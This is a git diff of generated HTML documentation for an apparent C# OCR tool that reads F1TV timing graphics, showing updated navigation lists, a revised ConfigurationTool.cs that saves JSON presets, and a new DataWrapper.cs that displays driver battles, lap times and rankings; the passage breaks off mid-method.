    • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
    • +
  • + + DriverNameWindow.cs
  • @@ -213,13 +193,28 @@
  • + + F1TVEmulator.cs + +
    • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
    • +
  • + + Settings.Designer.cs + +
    • +
  • + + SqliteStorage.cs
  • @@ -228,13 +223,23 @@
  • + + DataWrapper.cs + +
    • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
    • +
  • + + DriverPositionWindow.cs
  • @@ -248,11 +253,21 @@
  • + + Reader.cs + +
    • +
  • Settings.cs
  • + + Window.cs + +
    • +
  • recoverCookiesCSV.py diff --git a/site/Code/ConfigurationTool.html b/site/Code/ConfigurationTool.html index d54b4d7..aaca746 100644 --- a/site/Code/ConfigurationTool.html +++ b/site/Code/ConfigurationTool.html @@ -136,38 +136,18 @@
  • - - DriverGapToLeaderWindow.cs - -
    • -
  • - - DriverPositionWindow.cs - -
    • -
  • - - F1TVEmulator.cs - -
    • -
  • - - Program.cs - -
    • -
  • - - Window.cs - -
    • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
    • +
  • + + DriverNameWindow.cs
  • @@ -176,13 +156,28 @@
  • + + F1TVEmulator.cs + +
    • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
    • +
  • + + Settings.Designer.cs + +
    • +
  • + + SqliteStorage.cs
  • @@ -191,13 +186,23 @@
  • + + DataWrapper.cs + +
    • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
    • +
  • + + DriverPositionWindow.cs
  • @@ -211,11 +216,21 @@
  • + + Reader.cs + +
    • +
  • Settings.cs
  • + + Window.cs + +
    • +
  • recoverCookiesCSV.py @@ -239,201 +254,268 @@

    ConfigurationTool.cs

    -
    /// Author : Maxime Rohmer
-/// Date : 08/05/2023
-/// File : ConfigurationTool.cs
-/// Brief : Class that contains all the methods needed to create a config file for the OCR
-/// Version : 0.1
-
-using System;
-using System.Collections.Generic;
-using System.Drawing;
-using System.Linq;
-using System.Text;
-using System.Threading.Tasks;
-using Tesseract;
-using System.IO;
-
-namespace Test_Merge
-{
-    public class ConfigurationTool
-    {
-        public Zone MainZone;
-        public const int NUMBER_OF_DRIVERS = 20;
-        public const int NUMBER_OF_ZONES = 9;
-        public const string CONFIGS_FOLDER_NAME = "./Presets/";
-
-        public ConfigurationTool(Bitmap fullImage, Rectangle mainZoneDimensions)
-        {
-            MainZone = new Zone(fullImage, mainZoneDimensions,"Main");
-            AutoCalibrate();
-        }
-        public void ResetMainZone()
-        {
-            MainZone.ResetZones();
-        }
-        public void ResetWindows()
-        {
-            MainZone.ResetWindows();
-        }
-        public void SaveToJson(List<string> drivers, string configName)
-        {
-            string JSON = "";
-
-            JSON += "{" + Environment.NewLine;
-            JSON += MainZone.ToJSON() + "," + Environment.NewLine;
-            JSON += "\"Drivers\":[" + Environment.NewLine;
-
-            for (int i = 0; i < drivers.Count; i++)
-            {
-                JSON += "\"" + drivers[i] + "\"";
-                if (i < drivers.Count - 1)
-                    JSON += ",";
-                JSON += Environment.NewLine;
-            }
-
-            JSON += "]" + Environment.NewLine;
-
-            JSON += "}";
-
-            if (!Directory.Exists(CONFIGS_FOLDER_NAME))
-                Directory.CreateDirectory(CONFIGS_FOLDER_NAME);
-
-            string path = CONFIGS_FOLDER_NAME + configName;
-
-            if (File.Exists(path + ".json"))
-            {
-                //We need to create a new name
-                int count = 2;
-                while (File.Exists(path + "_" + count + ".json"))
-                {
-                    count++;
-                }
-                path += "_" + count + ".json";
-            }
-            else
-            {
-                path += ".json";
-            }
-
-            File.WriteAllText(path, JSON);
-        }
-        public void AddWindows(List<Rectangle> rectangles)
-        {
-            foreach (Zone driverZone in MainZone.Zones)
-            {
-                Bitmap zoneImage = driverZone.ZoneImage;
-
-                for (int i = 1; i <= rectangles.Count; i++)
-                {
-                    switch (i)
-                    {
-                        case 1:
-                            //First zone should be the driver's Position
-                            driverZone.AddWindow(new DriverPositionWindow(driverZone.ZoneImage, rectangles[i - 1], false));
-                            break;
-                        case 2:
-                            //First zone should be the Gap to leader
-                            driverZone.AddWindow(new DriverGapToLeaderWindow(driverZone.ZoneImage, rectangles[i - 1], false));
-                            break;
-                        case 3:
-                            //First zone should be the driver's Lap Time
-                            driverZone.AddWindow(new DriverLapTimeWindow(driverZone.ZoneImage, rectangles[i - 1], false));
-                            break;
-                        case 4:
-                            //First zone should be the driver's DRS status
-                            driverZone.AddWindow(new DriverDrsWindow(driverZone.ZoneImage, rectangles[i - 1], false));
-                            break;
-                        case 5:
-                            //First zone should be the driver's Tyre's informations
-                            driverZone.AddWindow(new DriverTyresWindow(driverZone.ZoneImage, rectangles[i - 1], false));
-                            break;
-                        case 6:
-                            //First zone should be the driver's Name
-                            driverZone.AddWindow(new DriverNameWindow(driverZone.ZoneImage, rectangles[i - 1], false));
-                            break;
-                        case 7:
-                            //First zone should be the driver's First Sector
-                            driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 1, false));
-                            break;
-                        case 8:
-                            //First zone should be the driver's Second Sector
-                            driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 2, false));
-                            break;
-                        case 9:
-                            //First zone should be the driver's Position Sector
-                            driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 3, false));
-                            break;
-                    }
-                }
-            }
-        }
-        public void AutoCalibrate()
-        {
-            List<Rectangle> detectedText = new List<Rectangle>();
-            List<Zone> zones = new List<Zone>();
-
-            TesseractEngine engine = new TesseractEngine(Window.TESS_DATA_FOLDER.FullName, "eng", EngineMode.Default);
-            Image image = MainZone.ZoneImage;
-            var tessImage = Pix.LoadFromMemory(Window.ImageToByte(image));
-
-            Page page = engine.Process(tessImage);
-            using (var iter = page.GetIterator())
-            {
-                iter.Begin();
-                do
-                {
-                    Rect boundingBox;
-                    if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox))
-                    {
-                        //var text = iter.GetText(PageIteratorLevel.Word).ToUpper();
-                        //We remove all the rectangles that are definitely too big
-                        if (boundingBox.Height < image.Height / NUMBER_OF_DRIVERS)
-                        {
-                            //Now we add a filter to only get the boxes in the right because they are much more reliable in size
-                            if (boundingBox.X1 > image.Width / 2)
-                            {
-                                //Now we check if an other square box has been found roughly in the same y axis
-                                bool match = false;
-                                //The tolerance is roughly half the size that a window will be
-                                int tolerance = (image.Height / NUMBER_OF_DRIVERS) / 2;
-
-                                foreach (Rectangle rect in detectedText)
-                                {
-                                    if (rect.Y > boundingBox.Y1 - tolerance && rect.Y < boundingBox.Y1 + tolerance)
-                                    {
-                                        //There already is a rectangle in this line
-                                        match = true;
-                                    }
-                                }
-                                //if nothing matched we can add it
-                                if (!match)
-                                    detectedText.Add(new Rectangle(boundingBox.X1, boundingBox.Y1, boundingBox.Width, boundingBox.Height));
-                            }
-                        }
-                    }
-                } while (iter.Next(PageIteratorLevel.Word));
-            }
-            //DEBUG
-            int i = 1;
-            foreach (Rectangle Rectangle in detectedText)
-            {
-                Rectangle windowRectangle;
-                Size windowSize = new Size(image.Width, image.Height / NUMBER_OF_DRIVERS);
-                Point windowLocation = new Point(0, (Rectangle.Y + Rectangle.Height / 2) - windowSize.Height / 2);
-                windowRectangle = new Rectangle(windowLocation, windowSize);
-                //We add the driver zones
-                Zone driverZone = new Zone(MainZone.ZoneImage, windowRectangle, "DriverZone");
-                MainZone.AddZone(driverZone);
-
-                driverZone.ZoneImage.Save("Driver" + i+".png");
-                i++;
-            }
-        }
-    }
-}
-
-
    +
    /// Author : Maxime Rohmer
+/// Date : 30/05/2023
+/// File : ConfigurationTool.cs
+/// Brief : Class that contains all the methods used to create config files for the main programm
+/// Version : Alpha 1.0
+
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using Tesseract;
+using System.IO;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+
+namespace TrackTrends
+{
+    public class ConfigurationTool
+    {
+        public Zone MainZone;
+        public const int NUMBER_OF_DRIVERS = 20;
+        public const int NUMBER_OF_ZONES = 9;
+        public const string CONFIGS_FOLDER_NAME = "./Presets/";
+        /// <summary>
+        /// Creates the configuration tool. It can only be created if you already have the dimensions of the main zone
+        /// </summary>
+        /// <param name="fullImage">The full image coming from the F1TV Data Channel</param>
+        /// <param name="mainZoneDimensions">The dimensions of the zone where all the drivers data are situated</param>
+        public ConfigurationTool(Bitmap fullImage, Rectangle mainZoneDimensions)
+        {
+            MainZone = new Zone(fullImage, mainZoneDimensions,"Main");
+            AutoCalibrate();
+        }
+        /// <summary>
+        /// Resets the main zone
+        /// </summary>
+        public void ResetMainZone()
+        {
+            MainZone.ResetZones();
+        }
+        /// <summary>
+        /// Reset the windows
+        /// </summary>
+        public void ResetWindows()
+        {
+            MainZone.ResetWindows();
+        }
+        /// <summary>
+        /// Save the current config in a JSON file stored in /Presets/
+        /// </summary>
+        /// <param name="drivers">A list of all the drivers in the GP. IMPORTANT, they need to ALL be mentionned or the program wont be able to detect the missing ones and will F up everything</param>
+        /// <param name="configName">The name the config should have</param>
+        public void SaveToJson(List<string> drivers, string configName)
+        {
+            string JSON = "";
+
+            JsonObject jsonFileObject = new JsonObject();
+
+            //Creates the mainZone object
+            JsonObject mainZoneObject = new JsonObject();
+
+            mainZoneObject.Add("x",MainZone.Bounds.X);
+            mainZoneObject.Add("y",MainZone.Bounds.Y);
+            mainZoneObject.Add("width",MainZone.Bounds.Width);
+            mainZoneObject.Add("height",MainZone.Bounds.Height);
+
+            JsonArray driverZonesArray = new JsonArray();
+
+            //Creates all the subzones that contain driver infos
+            int DriverID = 0;
+            foreach (Zone driverZone in MainZone.Zones)
+            {
+                DriverID++;
+                JsonObject driverZoneObject = new JsonObject();
+                driverZoneObject.Add("name","Driver"+DriverID);
+                driverZoneObject.Add("x", driverZone.Bounds.X);
+                driverZoneObject.Add("y", driverZone.Bounds.Y);
+                driverZoneObject.Add("width", driverZone.Bounds.Width);
+                driverZoneObject.Add("height", driverZone.Bounds.Height);
+
+                JsonArray windowsArray = new JsonArray();
+                JsonObject windowObject = new JsonObject();
+
+                //Creates all the windows of the current driver zone
+                //Note : We store ALL the windows and zones in the JSON because they are not spaced exactly the same on the main zone
+                foreach (Window window in driverZone.Windows)
+                {
+                    windowObject.Add(window.Name, new JsonObject {
+                        { "x", window.Bounds.X },
+                        { "y", window.Bounds.Y },
+                        { "width", window.Bounds.Width },
+                        { "height", window.Bounds.Height }
+                    });
+                }
+                windowsArray.Add(windowObject);
+
+                driverZoneObject.Add("Windows",windowsArray);
+
+                driverZonesArray.Add(driverZoneObject);
+            }
+
+            mainZoneObject.Add("DriverZones",driverZonesArray);
+
+            JsonArray driversArray = new JsonArray();
+
+            foreach (string driver in drivers)
+            {
+                driversArray.Add(driver);
+            }
+
+            mainZoneObject.Add("Drivers",driversArray);
+
+            jsonFileObject.Add("Main",mainZoneObject);
+
+            JSON = jsonFileObject.ToString();
+
+            //Saving the file
+            string path = CONFIGS_FOLDER_NAME + configName;
+
+            if (File.Exists(path + ".json"))
+            {
+                //We need to create a new name
+                int count = 2;
+                while (File.Exists(path + "_" + count + ".json"))
+                {
+                    count++;
+                }
+                path += "_" + count + ".json";
+            }
+            else
+            {
+                path += ".json";
+            }
+
+            File.WriteAllText(path, JSON);
+        }
+        /// <summary>
+        /// Adds a window in the windows list
+        /// Be carefull of the order. It cant be random or it will crash. The programm expect the first to be position, second Gap to leader etc...
+        /// </summary>
+        /// <param name="rectangles">The bounds of the window</param>
+        public void AddWindows(List<Rectangle> rectangles)
+        {
+            foreach (Zone driverZone in MainZone.Zones)
+            {
+                Bitmap zoneImage = driverZone.ZoneImage;
+
+                for (int i = 1; i <= rectangles.Count; i++)
+                {
+                    switch (i)
+                    {
+                        case 1:
+                            //First zone should be the driver's Position
+                            driverZone.AddWindow(new DriverPositionWindow(driverZone.ZoneImage, rectangles[i - 1], false));
+                            break;
+                        case 2:
+                            //Second zone should be the Gap to leader
+                            driverZone.AddWindow(new DriverGapToLeaderWindow(driverZone.ZoneImage, rectangles[i - 1], false));
+                            break;
+                        case 3:
+                            //Third zone should be the driver's Lap Time
+                            driverZone.AddWindow(new DriverLapTimeWindow(driverZone.ZoneImage, rectangles[i - 1], false));
+                            break;
+                        case 4:
+                            //Fourth zone should be the driver's DRS status
+                            driverZone.AddWindow(new DriverDrsWindow(driverZone.ZoneImage, rectangles[i - 1], false));
+                            break;
+                        case 5:
+                            //Fifth zone should be the driver's Tyre's informations
+                            driverZone.AddWindow(new DriverTyresWindow(driverZone.ZoneImage, rectangles[i - 1], false));
+                            break;
+                        case 6:
+                            //Sixth zone should be the driver's Name
+                            driverZone.AddWindow(new DriverNameWindow(driverZone.ZoneImage, rectangles[i - 1], false));
+                            break;
+                        case 7:
+                            //Seventh zone should be the driver's First Sector
+                            driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 1, false));
+                            break;
+                        case 8:
+                            //Zone number eight should be the driver's Second Sector
+                            driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 2, false));
+                            break;
+                        case 9:
+                            //Zone number nine should be the driver's Position Sector
+                            driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 3, false));
+                            break;
+                    }
+                }
+            }
+        }
+        /// <summary>
+        /// This will automatically create all the driver zones at the correct places if the main zone has been weel positionned
+        /// You cant just divide the image by the number of pilots or it will be messy and inconsistent at the end (Garbage in Garbage Out)
+        /// </summary>
+        public void AutoCalibrate()
+        {
+            List<Rectangle> detectedText = new List<Rectangle>();
+            List<Zone> zones = new List<Zone>();
+
+            TesseractEngine engine = new TesseractEngine(Window.TESS_DATA_FOLDER.FullName, "eng", EngineMode.Default);
+            Image image = MainZone.ZoneImage;
+            var tessImage = Pix.LoadFromMemory(Window.ImageToByte(image));
+
+            Page page = engine.Process(tessImage);
+            //Runs a quick OCR detection. Not to detect any content but just to detect where is all the text positionned.
+            //For each row it decides the best Zone location and adds it to the Driver zone list
+            using (var iter = page.GetIterator())
+            {
+                iter.Begin();
+                do
+                {
+                    Rect boundingBox;
+                    if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox))
+                    {
+                        //We remove all the rectangles that are definitely too big
+                        if (boundingBox.Height < image.Height / NUMBER_OF_DRIVERS)
+                        {
+                            //Now we add a filter to only get the boxes in the right because they are much more reliable in size
+                            if (boundingBox.X1 > image.Width / 2)
+                            {
+                                //Now we check if an other square box has been found roughly in the same y axis
+                                bool match = false;
+                                //The tolerance is roughly half the size that a window will be
+                                int tolerance = (image.Height / NUMBER_OF_DRIVERS) / 2;
+
+                                foreach (Rectangle rect in detectedText)
+                                {
+                                    if (rect.Y > boundingBox.Y1 - tolerance && rect.Y < boundingBox.Y1 + tolerance)
+                                    {
+                                        //There already is a rectangle in this line
+                                        match = true;
+                                    }
+                                }
+                                //if nothing matched we can add it
+                                if (!match)
+                                    detectedText.Add(new Rectangle(boundingBox.X1, boundingBox.Y1, boundingBox.Width, boundingBox.Height));
+                            }
+                        }
+                    }
+                } while (iter.Next(PageIteratorLevel.Word));
+            }
+            //DEBUG
+            int i = 1;
+            foreach (Rectangle Rectangle in detectedText)
+            {
+                Rectangle windowRectangle;
+                Size windowSize = new Size(image.Width, image.Height / NUMBER_OF_DRIVERS);
+                Point windowLocation = new Point(0, (Rectangle.Y + Rectangle.Height / 2) - windowSize.Height / 2);
+                windowRectangle = new Rectangle(windowLocation, windowSize);
+                //We add the driver zones
+                Zone driverZone = new Zone(MainZone.ZoneImage, windowRectangle, "DriverZone");
+                MainZone.AddZone(driverZone);
+                //driverZone.ZoneImage.Save("Driver" + i+".png");
+                i++;
+            }
+        }
+    }
+}
+
    @@ -453,13 +535,13 @@ namespace Test_Merge -
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    +

    DataWrapper.cs

    +
    /// Author : Maxime Rohmer
+/// Date : 30/05/2023
+/// File : DataWrapper.cs
+/// Brief : Class that is used to interface between the main Form (vue) and the Storage (wich is a class that wraps the sqlite database, so the model) its almost MVC :D
+/// Version : Alpha 1.0
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using System.Windows.Forms;
+using System.Drawing;
+
+namespace TrackTrends
+{
+    internal class DataWrapper
+    {
+        private Reader Reader;
+        private SqliteStorage Storage;
+        List<List<DriverData>> LiveDriverDataLogs = new List<List<DriverData>>();
+        //Note : It could be usefull to get the mainForm at the start of the programm and not have to take it in half of the methods.
+        /// <summary>
+        /// Constructs a new DataWrapper. It needs the config file so it can create a Reader, It also needs a first screenshot for the same reason
+        /// </summary>
+        /// <param name="configFile">The JSON config file that is created by the configuration tool</param>
+        /// <param name="screenshot">A screenshot of the </param>
+        public DataWrapper(string configFile, Bitmap screenshot)
+        {
+            Reader = new Reader(configFile, screenshot, true);
+            //The Storage is here and on the Reader. It seems bad but it is ok as we dont use it at all to insert data and are only using it here to read some. The reader takes care of the inserts (Note: We could technically do both here but I did not find it usefull to transfer everything here)
+            Storage = Reader.Storage;
+        }
+        /// <summary>
+        /// Refreshes the controller so it has the latest driver datas (Be sure to call it everytime you need to use any other method and expects the data to be up to date)
+        /// </summary>
+        /// <returns>Error code, 0 is success, 1 is not (Note: Maybe it could be interesting in the future to add some more error handling here)</returns>
+        public int Refresh()
+        {
+            LiveDriverDataLogs.Add(Reader.Decode(Reader.MainZones, Reader.Drivers));
+            if (LiveDriverDataLogs.Count > 0)
+                return 0;
+            return 1;
+        }
+        /// <summary>
+        /// Changes the image to the newest screenshot in all of the zones and windows
+        /// </summary>
+        /// <param name="image">The new screenshot to put everywhere (Do not mix resolutions)</param>
+        public void ChangeImage(Bitmap image)
+        {
+            Reader.ChangeImage(image);
+        }
+        /// <summary>
+        /// Gets all the data from one driver and also displays into the given panel the last five laps (or less if its the sart of the race) Note: Its responsive :D
+        /// </summary>
+        /// <param name="driverName">The name of the driver (should not be case sensitive but it MUST already exist in the first list that has been inserted into the DB)</param>
+        /// <param name="lastFiveLapsPanel">The pannel where you want the five last laps to be displayed</param>
+        /// <param name="form1">The Main form.</param>
+        /// <returns></returns>
+        public DriverData GetFullDriverData(string driverName, Panel lastFiveLapsPanel, Main form1)
+        {
+            //Note : I know that its a bad idea to ask the Form in this method and some others because it means that it wont work with any main form. And to that Ill say that... your right !
+            DriverData result = new DriverData();
+            if (LiveDriverDataLogs.Count > 0)
+            {
+                //Searches the most recent live data from the given driverName
+                foreach (DriverData data in LiveDriverDataLogs[LiveDriverDataLogs.Count - 1])
+                {
+                    if (data.Name == driverName)
+                        result = data;
+                }
+
+                if (result.Name != "")
+                {
+                    //Recovers and displays the last five laps from the driver
+                    lastFiveLapsPanel.Controls.Clear();
+                    Size labelDimensions = new Size(lastFiveLapsPanel.Width, lastFiveLapsPanel.Height / 5);
+
+                    List<(int LapTime, int Lap)> lapsInfos = Storage.GetDriverLaptimes(driverName, 5);
+
+                    int id = 0;
+                    foreach ((int LapTime, int Lap) lapData in lapsInfos)
+                    {
+                        //Hardcodes the new button.
+                        //Note : It could be smart to have like a default button for all the methods to use without needing to rewrite everything.
+                        Button newButton = new Button();
+                        lastFiveLapsPanel.Controls.Add(newButton);
+                        newButton.Name = driverName + "_" + lapData.Lap;
+                        newButton.Text = Reader.ConvertMsToTime(lapData.LapTime);
+                        newButton.Size = labelDimensions;
+                        newButton.FlatStyle = FlatStyle.Popup;
+                        newButton.Click += form1.btnLapTime_Click;
+                        newButton.Location = new Point(0, id * newButton.Height);
+                        id++;
+                    }
+                }
+            }
+
+            return result;
+        }
+        /// <summary>
+        /// Runs trough every drivers live data to recover the drivers that are close to each others
+        /// </summary>
+        /// <param name="pnlBattles">The control that will host the displayed battles</param>
+        /// <param name="form1">The main form. It needs to have a method called 'btnDriver_Click' so it can reads the buttons clicks</param>
+        public void DisplayBattles(Panel pnlBattles,Main form1)
+        {
+            DriverData oldDriver = null;
+            List<(DriverData d1, DriverData d2, int gap)> battles = new List<(DriverData d1, DriverData d2, int gap)>();
+            //Search trough all the drivers and finds the one battling
+            foreach (DriverData driver in LiveDriverDataLogs[LiveDriverDataLogs.Count - 1])
+            {
+                if (oldDriver != null && driver.Position != -1 && oldDriver.Position != -1)
+                {
+                    if (driver.GapToLeader < oldDriver.GapToLeader)
+                    {
+                        //There is a problem with the drivers gaps
+                    }
+                    else
+                    {
+                        int gap = driver.GapToLeader - oldDriver.GapToLeader;
+                        //3000ms is 3s. If drivers are that close then they are definitely in battle. If they are farther then maybe not
+                        if (gap <= 3000)
+                        {
+                            battles.Add((oldDriver, driver, gap));
+                        }
+                    }
+                    oldDriver = driver;
+                }
+                else
+                {
+                    oldDriver = driver;
+                }
+            }
+            //We will only display 4 battles max
+            int maxBattles = 4;
+            if (battles.Count > 0)
+            {
+                pnlBattles.Controls.Clear();
+                int maxUiHeight = Math.Max(pnlBattles.Height / maxBattles, pnlBattles.Height / battles.Count);
+                int id = 0;
+                foreach ((DriverData d1, DriverData d2, int gap) battle in battles)
+                {
+                    if(id < maxBattles)
+                    {
+                        //*hardcoding* the different controls that needs to be added to the panel.
+                        //Note : this stuff could totally be handled by the Form with method returning a list of the drivers. It was just easier for me at the time to code it this way but its not the prettiest
+                        Button btnFirstDriver = new Button();
+                        Button btnSecondDriver = new Button();
+                        Label lblGap = new Label();
+
+                        pnlBattles.Controls.Add(btnFirstDriver);
+                        pnlBattles.Controls.Add(lblGap);
+                        pnlBattles.Controls.Add(btnSecondDriver);
+
+                        btnFirstDriver.Anchor = AnchorStyles.Left | AnchorStyles.Top;
+                        btnSecondDriver.Anchor = AnchorStyles.Right | AnchorStyles.Top;
+                        lblGap.Anchor = AnchorStyles.Right | AnchorStyles.Left | AnchorStyles.Top;
+
+                        lblGap.TextAlign = ContentAlignment.MiddleCenter;
+                        lblGap.Font = new Font(lblGap.Font.FontFamily, 15);
+
+                        btnFirstDriver.Click += form1.btnDriver_Click;
+                        btnSecondDriver.Click += form1.btnDriver_Click;
+
+                        btnFirstDriver.FlatStyle = FlatStyle.Popup;
+                        btnSecondDriver.FlatStyle = FlatStyle.Popup;
+                        lblGap.FlatStyle = FlatStyle.Popup;
+
+                        btnFirstDriver.Size = new Size(pnlBattles.Width / 3, maxUiHeight);
+                        btnSecondDriver.Size = new Size(pnlBattles.Width / 3, maxUiHeight);
+                        lblGap.Size = new Size(pnlBattles.Width / 3, maxUiHeight);
+
+                        btnFirstDriver.Location = new Point(pnlBattles.Width / 3 * 0, id * maxUiHeight);
+                        lblGap.Location = new Point(pnlBattles.Width / 3 * 1, id * maxUiHeight);
+                        btnSecondDriver.Location = new Point(pnlBattles.Width / 3 * 2, id * maxUiHeight);
+
+                        btnFirstDriver.Text = battle.d1.Name;
+                        lblGap.Text = "+ " + Reader.ConvertMsToTime(battle.gap);
+                        if (battle.gap <= 2000)
+                            lblGap.ForeColor = Color.Yellow;
+                        if (battle.gap <= 1000)
+                            lblGap.ForeColor = Color.Green;
+                        btnSecondDriver.Text = battle.d2.Name;
+
+                        btnFirstDriver.Name = battle.d1.Name + "_" + id;
+                        lblGap.Name = "lbl_Gap_" + id;
+                        btnSecondDriver.Name = battle.d2.Name + "_" + id;
+                    }
+                    else
+                    {
+                        break;
+                    }
+                    id++;
+                }
+            }
+        }
+        /// <summary>
+        /// Searches the fastest and slowests drivers and displays them in the given panels
+        /// </summary>
+        /// <param name="pnlFastest">Panel that will contain the constructed controls</param>
+        /// <param name="pnlSlowest">Panel that will contain the constructed controls</param>
+        /// <param name="form1">The main form that needs to implement the method btnDriver_Click to allow it to recover custom buttons click</param>
+        public void DisplayTimesDeltas(Panel pnlFastest,Panel pnlSlowest, Main form1)
+        {
+            List<(int avg, string driverName)> averages = new List<(int avg, string driverName)>();
+            foreach (DriverData driver in LiveDriverDataLogs[LiveDriverDataLogs.Count - 1])
+            {
+                //We want to recover the last 5 lap times 
+                List<(int lapTime,int lap)> laps = Storage.GetDriverLaptimes(driver.Name,5);
+                if(laps.Count > 0)
+                {
+                    int avg = 0;
+                    foreach ((int lapTime, int lap) lap in laps)
+                    {
+                        avg += lap.lapTime;
+                    }
+                    avg = avg / laps.Count;
+                    averages.Add((avg, driver.Name));
+                }
+            }
+            int numberOfDriversToShow = 5;
+            if (averages.Count > 0 && averages.Count > numberOfDriversToShow)
+            {
+                averages = averages.OrderBy(item => item.avg).ToList();
+                pnlFastest.Controls.Clear();
+                pnlSlowest.Controls.Clear();
+                int maxUiSize = pnlFastest.Height / numberOfDriversToShow;
+
+                //Displays the fastest drivers
+                for (int i = 0; i < numberOfDriversToShow; i++)
+                {
+                    Button newButton = new Button();
+                    (int avg, string driver) data = averages[i];
+                    pnlFastest.Controls.Add(newButton);
+                    newButton.Size = new Size(pnlFastest.Width, maxUiSize);
+                    newButton.Location = new Point(0, i * maxUiSize);
+                    newButton.Text = data.driver;
+                    newButton.FlatStyle = FlatStyle.Popup;
+                    newButton.Name = data.driver + "_fastest_" + i;
+                    newButton.Click += form1.btnDriver_Click;
+                    //We take the average time lost per lap
+                    if (i != 0)
+                        newButton.Text += "  + " + Reader.ConvertMsToTime(Convert.ToInt32(((float)data.avg - (float)averages[0].avg) / 5.0f));
+                }
+                //Displays the slowests drivers
+                int badId = 0;
+                for (int i = averages.Count -1; i >= averages.Count - numberOfDriversToShow; i--)
+                {
+                    Button newButton = new Button();
+                    (int avg, string driver) data = averages[i];
+                    pnlSlowest.Controls.Add(newButton);
+                    newButton.Size = new Size(pnlFastest.Width, maxUiSize);
+                    newButton.Location = new Point(0, badId * maxUiSize);
+                    newButton.Text = data.driver;
+                    newButton.FlatStyle = FlatStyle.Popup;
+                    newButton.Name = data.driver + "_slowest_" + i;
+                    newButton.Click += form1.btnDriver_Click;
+                    //We take the average time lost per lap
+                    newButton.Text += "  + " + Reader.ConvertMsToTime(Convert.ToInt32(((float)data.avg - (float)averages[0].avg) / 5.0f));
+                    badId++;
+                }
+            }
+        }
+        /// <summary>
+        /// Will add to the list of overtakes the different changes of position
+        /// </summary>
+        /// <param name="lsbResult">The listbox containing all the infos</param>
+        public void DisplayOvertakes(ListBox lsbResult)
+        {
+            //Note : This method SHOULD REALLY not do this but just return a string or a list of string with the new overtakes so the form can handle it as it wishes
+            if (LiveDriverDataLogs.Count > 1)
+            {
+                List<DriverData> oldList = LiveDriverDataLogs[LiveDriverDataLogs.Count - 2];
+                List<DriverData> newList = LiveDriverDataLogs[LiveDriverDataLogs.Count - 1];
+                for (int i = 0; i < LiveDriverDataLogs[LiveDriverDataLogs.Count - 1].Count;i++)
+                {
+                    if (oldList[i].Name != newList[i].Name) {
+                        //There has been a change in the standings
+                        for(int y = 0; y < oldList.Count;y++)
+                        {
+                            if (newList[y].Name == oldList[i].Name)
+                            {
+                                //We found its new location
+                                if (y > i)
+                                {
+                                    //The driver overtook someone
+                                    lsbResult.Items.Add(newList[y].Name + " climbed to " + y);
+                                }
+                                else
+                                {
+                                    //The driver got overtook by someone
+                                    lsbResult.Items.Add(newList[y].Name + " fell to " + y);
+                                }
+
+                            }
+                        }
+                    }
+                }
+            }
+        }
+        /// <summary>
+        /// Displays a messageBox containing the infos about a lap time
+        /// </summary>
+        /// <param name="driverName">The name of the driver that has done the lapTime</param>
+        /// <param name="Lap">The number of the lap on wich the lapTime has been set (CAUTION ITS NOT THE RACING LAP ITS FROM THE DB)</param>
+        /// <param name="LapTime">The time (in ms) of the lap</param>
+        public void DisplayLapTimeInfos(string driverName, int Lap, string LapTime)
+        {
+            List<int> sectors = Storage.GetSectorsFromLapTime(driverName, Lap);
+            string message = "Lap time infos" + Environment.NewLine;
+                message += LapTime + Environment.NewLine;
+            if (sectors.Count > 0)
+                message += "Sector 1 : " + Reader.ConvertMsToTime(sectors[0]) + Environment.NewLine;
+            if (sectors.Count > 1)
+                message += "Sector 2 : " + Reader.ConvertMsToTime(sectors[1]) + Environment.NewLine;
+            if (sectors.Count > 2)
+                message += "Sector 3 : " + Reader.ConvertMsToTime(sectors[2]) + Environment.NewLine;
+            MessageBox.Show(message);
+        }
+        /// <summary>
+        /// Displays the live ranking with the names of the drivers and their gap to the leader in the right order
+        /// </summary>
+        /// <param name="pnl">The control that will host all the new controls</param>
+        /// <param name="form1">The main form</param>
+        public void DisplayLiveRanking(Panel pnl, Main form1)
+        {
+            if (LiveDriverDataLogs.Count > 0)
+            {
+                pnl.Controls.Clear();
+                //Gets the last item that should be the most recent data
+                List<DriverData> liveData = LiveDriverDataLogs[LiveDriverDataLogs.Count - 1];
+
+                Button[] buttons = new Button[liveData.Count];
+
+                Size buttonDimensions = new Size(pnl.Width, pnl.Height / liveData.Count);
+
+                for (int driverCount = 0; driverCount < liveData.Count; driverCount++)
+                {
+                    Button newButton = new Button();
+
+                    newButton.Size = buttonDimensions;
+                    newButton.Location = new Point(0, driverCount * buttonDimensions.Height);
+                    newButton.FlatStyle = FlatStyle.Popup;
+
+                    DriverData driver = liveData[driverCount];
+
+                    if (driver.Position == -1)
+                    {
+                        //Its a DNF
+                        newButton.Enabled = false;
+                    }
+                    if (driver.Position > 1)
+                    {
+                        newButton.Text = driver.Name + "  +" + Reader.ConvertMsToTime(driver.GapToLeader);
+                    }
+                    else
+                    {
+                        newButton.Text = driver.Name;
+                    }
+
+                    newButton.Name = liveData[driverCount].Name;
+                    newButton.TextAlign = ContentAlignment.MiddleLeft;
+
